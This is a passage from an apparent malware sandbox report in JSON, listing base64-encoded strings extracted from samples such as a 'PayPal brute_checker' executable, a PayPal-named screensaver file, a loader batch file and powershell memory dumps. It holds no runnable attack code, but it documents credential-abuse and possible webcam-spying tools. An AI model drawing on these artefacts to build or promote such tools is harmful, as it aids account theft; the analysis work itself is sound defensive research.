File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGludGVyZmFjZXNQb2ludGVyPjVfXzI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$59","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$5a","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$5b","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGl0ZW1zRmV0Y2hlZD41X18z","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PE1haW4+Yl9fMF8w","type":"Ansi","source":"Memory/File Scan","process":"e6ee5674bb9446c78bbc5729af6e2c28.exe","filename":"00101297-00001072.00000000.101577.00A12000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PE1haW4+Yl9fMF8x","type":"Ansi","source":"Memory/File Scan","process":"e6ee5674bb9446c78bbc5729af6e2c28.exe","filename":"00101297-00001072.00000000.101577.00A12000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PE1haW4+Yl9fMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"PE1vZHVsZT4=","type":"Ansi","source":"Memory/File Scan","process":"loader.bat","filename":"00099794-00004056.00000001.100319.01192000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PE1vZHVsZT57MTFGRTU4MkYtQTk0NS00OTk0LTk3QjgtNkJERTgwODY3QTBCfQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PG5hbWU+NV9fNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PE5BdWRpby5Db25zdW1lcnMuU2NoZW1hUGFyYW1ldGVyQ29uc3VtZXIrPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PHBpLW1zLXdpbi1jb3JlLWZpbGUtbDItMS0x","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PHBvc2l0aXZlU3RlcD41X182","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PFByaXZhdGVJbXBsZW1lbnRhdGlvbkRldGFpbHM+","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PFByaXZhdGVJbXBsZW1lbnRhdGlvbkRldGFpbHM+ezUzMTZCNDlGLTBFOEMtNDcxQy05MzBDLTAyRDM1OUQ4NzNCRX0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$5c","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PHNvdXJjZT41X18y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PHN0ZXBDb3VudD41X180","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PHN0b3BJbmRleD41X181","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PHN0eWxlPmJvZHl7Zm9udC1mYW1pbHk6IkFyaWFsIjtmb250LXNpemU6MTI7fTwvc3R5bGU+","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFN5c3RlbS5XaW4uU3RkVkNM","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PHR5cGVJbmRleD41X18y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PFY+Xz4yPzs/","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFZhbHVlcz5kX18xMWAy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PSI9Jj0qPS49Mj02PQ==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PSI9KT0wPTc9Pj1FPQ==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PTY+Pz5BP0s/","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PT4+Sz5VPmI+Uz9XP1s/Xz9jP2c/az9vP3M/","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PWwlT2F0LEo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"$5d","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PiA+JD4oPiw+","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PiE+QD5MPms+dz4=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PiM/OT9TP1o/","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pko=","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"Pj4+QVVUT0lUIE5PIENNREVYRUNVVEU8PDw=","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"PlxdRklJSUlJSUlJSUlGUWBMTExMTExfVFJSUl0+","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"Pl9dXVFRUVFRUVJRUlFRUV9gYF9fU1RUUlJSUl0+","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"PmFyJDdHYURoJg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pk5eP1NDV3B7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"PlNdXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1d","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"PlNdXWFdYWFhXV1dXV1dYWBgYF9fX19SX1JfVV0+","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"$5e","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PnVAZD44LUUl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"PnVYR0FgYHEjdHU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"PyA/JD8oPyw/MD80Pzg/PD9AP0Q/","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PyA/OT9SP2s/","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PyE7fXhqMTZcM1Ew","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"PyY/PD9TP1c/","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pys/MD86P0Q/Xj9uP3c/","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1B000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PzE/NT85Pz0/QT9FP0k/TT9RP1U/","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PzI/Oj9MP2A/ZD8=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8xdHlwZV9pbmZvQEBVQUVAWFo=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8xdHlwZV9pbmZvQEBVRUFBQFha","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8yQFlBUEFYSUBa","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8yQFlBUEVBWF9LQFo=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8zQFlBWFBBWEBa","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8zQFlBWFBFQVhAWg==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9fVUBZQVBBWElAWg==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9fVUBZQVBFQVhfS0Ba","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9fVkBZQVhQQVhAWg==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9fVkBZQVhQRUFYQFo=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0RDUy5MaWNlbnNpbmcuUHJvY2Nlc29yU2VydmljZUxpY2Vuc2UrPEVudW1lcmF0ZVRyYW5zZm9ybXM+ZF9fMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"P0g/Tz9mP3c/","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P3Rlcm1pbmF0ZUBAWUFYWFo=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P3xfcmBGI05sRA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"P8Ovwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvQ==","type":"Ansi","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QDolaFxcU29rOw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QF05KFwhUEU=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1B000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QENPTV9FVkVOVE9CSg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QERDUy5MaWNlbnNpbmcuU3RyYXRlZ3lHbG9iYWwrTGlzdE1hcEZpbHRlcmAyKzxHZXRFbnVtZXJhdG9yPmRfXzI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QEVYSVRNRVRIT0Q=","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QEdVSV9EUkFHRklMRQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QEdVSV9EUkFHSUQ=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QElkU3RhY2tDb25zdHM=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QGlWdmpObS51","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QFN5c3RlbS5SZWd1bGFyRXhwcmVzc2lvbnM=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QHQkIysgbkZo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"W0NzZXgvdzV9cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"W0RjUTMyQmhb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"W3whb2NDUX4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBhdCBlbmQgb2YgcGF0dGVybg==","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XFxbXFxucnRdfCUlfCVbLSsgMCNdPyhbMC05XSp8XCopPyhcLlswLTldKnxcLlwqKT9baGxMXT9bZGlvdXhYZUVmZ0dzXQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XGJCcGR4IUlATw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XGMgYXQgZW5kIG9mIHBhdHRlcm4=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XGMgbXVzdCBiZSBmb2xsb3dlZCBieSBhbiBBU0NJSSBjaGFyYWN0ZXI=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XEMgbm90IGFsbG93ZWQgaW4gbG9va2JlaGluZCBhc3NlcnRpb24=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XGQlPFRiOU4nMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XGY8SV1sfmpO","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XGcgaXMgbm90IGZvbGxvd2VkIGJ5IGEgYnJhY2VkLCBhbmdsZS1icmFja2V0ZWQsIG9yIHF1b3RlZCBuYW1lL251bWJlciBvciBieSBhIHBsYWluIG51bWJlcg==","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XEluY2x1ZGVc","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XGsgaXMgbm90IGZvbGxvd2VkIGJ5IGEgYnJhY2VkLCBhbmdsZS1icmFja2V0ZWQsIG9yIHF1b3RlZCBuYW1l","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XE1pY3Jvc29mdFxJbnRlcm5ldCBFeHBsb3JlclxRdWljayBMYXVuY2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XE4gaXMgbm90IHN1cHBvcnRlZCBpbiBhIGNsYXNz","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XFBvd2VyU2hlbGxcJTEhbHMh","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXENvbnNvbGVMUEMtMHgwMDAwMDAwMDAwMDAwREU4LS05MzYwMDA3ODc3ODAyNDk1MDItMjE0NzA5NTczMTE4MjE4MTI1MDUtMjkyMjQwOTM1LTE5MTU5MzI3NDMxMDE2MzY3MjEzLTE4NDUyNTI5Ng==","type":"Unicode","source":"Runtime Data","process":"timeout.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFNlc3Npb25zXDFcV2luZG93c1xBcGlQb3J0","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XHNvdXJjZVxyZXBvc1xkY3BsZ19EaXNhYmxlV2ViQ2FtTGlnaHRzXGRjcGxnX0Rpc2FibGVXZWJDYW1MaWdodHNcb2JqXERlYnVnXGRjcGxnX0Rpc2FibGVXZWJDYW1MaWdodHMucGRi","type":"Ansi","source":"Memory/File Scan","process":"e6ee5674bb9446c78bbc5729af6e2c28.exe","filename":"00101297-00001072.00000000.101577.00A12000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XHQnKXZPOWl7Lg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFRoZW1lQXBpUG9ydA==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFVzZXJzXEhBUFVCV1NcQXBwRGF0YVxMb2NhbFxUZW1wXG5zdUE2RjAudG1w","type":"Ansi","source":"Memory/File Scan","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00409000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XSBpcyBhbiBpbnZhbGlkIGRhdGEgY2hhcmFjdGVyIGluIEphdmFTY3JpcHQgY29tcGF0aWJpbGl0eSBtb2Rl","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XShlakFabCdM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XSl7YUZEWUct","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XcOvwr/CvTHDr8K/wr1dw6/Cv8K9MsOvwr/CvV7Dr8K/wr0yw6/Cv8K9UcOvwr/CvSvDr8K/wr1Xw6/Cv8K9McOvwr/CvVbDr8K/wr0vw6/Cv8K9VsOvwr/CvS/Dr8K/wr1Tw6/Cv8K9LcOvwr/CvVTDr8K/wr0tw6/Cv8K9XsOvwr/CvTPDr8K/wr1ew6/Cv8K9MsOvwr/CvV3Dr8K/wr0yw6/Cv8K9XcOvwr/CvTLDr8K/wr1dw6/Cv8K9M8Ovwr/CvVzDr8K/wr0yw6/Cv8K9XMOvwr/CvTLDr8K/wr1bw6/Cv8K9","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XiQuWygpfD8rKlx7","type":"Unicode","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00778000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XltBLVpcZF9dKyQ=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XnB1U3p3KS0z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XnNUb29sRWRpdA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XlhqdDt7RXdnWA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XlpvLCA5VDElanM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XnxiYn0xTGB9fQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XzBVckQqU0Y0Zg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"X19fLCxfLF9fXyxfJyxl","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_3.png","compromised":null,"detection_total":null,"total":null},{"value":"X19fLCxfLF9fX18nLF9fX19fX18nXyxfX19f","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_3.png","compromised":null,"detection_total":null,"total":null},{"value":"X19fMF9fMF9KX19fX19fX19fPzBfSl9fX19fX19fX19fX18/Sl9f","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_3.png","compromised":null,"detection_total":null,"total":null},{"value":"X19fX19fX18wXz9sX19sX19fX19fcV9fX18/X18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"X19DX3NwZWNpZmljX2hhbmRsZXI=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19jYWxsYmFjaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19jbHJjYWxs","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19DeHhGcmFtZUhhbmRsZXI=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$5f","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19mYXN0Y2FsbA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19pLCw/X2FfLGknLDA=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"X19JbnRlcm5hbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19sbF9fX19fXzAwMDAwMA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_3.png","compromised":null,"detection_total":null,"total":null},{"value":"X19wX19jb21tb2Rl","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19wX19mbW9kZQ==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19yZXN0cmljdA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19zZXRfYXBwX3R5cGU=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19zZXR1c2VybWF0aGVycg==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0xMA==","type":"Ansi","source":"Dropped 